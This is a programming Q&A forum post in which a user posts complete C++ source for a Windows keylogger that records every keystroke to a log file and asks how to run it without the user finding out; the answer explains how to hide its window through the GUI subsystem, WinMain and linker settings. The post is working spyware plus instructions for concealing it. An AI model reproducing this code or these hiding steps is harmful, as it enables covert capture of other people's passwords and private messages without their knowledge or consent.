Mohit Bhasi Mohit Bhasi - 27 days ago 11
C++ Question

How can I run an exe file without the user finding out?

I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:



I want to know how to hide the running of the program.

#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");

}
}
system("PAUSE");
return 0;}

Tas Tas
Answer

As @Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:

int main()

to:

#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by @Cheers and hth. -Alf) to this question:

With the Visual C++ compiler, if you're compiling from the command line, add the options

/link /subsystem:windows /entry:mainCRTStartup

If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.

For CodeBlocks, a very quick Google search revealed the following answer:

  1. Click Project on the CodeBlocks menu.
  2. Click Properties.
  3. Click the second tab, Build Targets.
  4. On the right, where it says Type: Console application, change it to GUI application.
  5. Rebuild the project.

Your application will no longer make a window.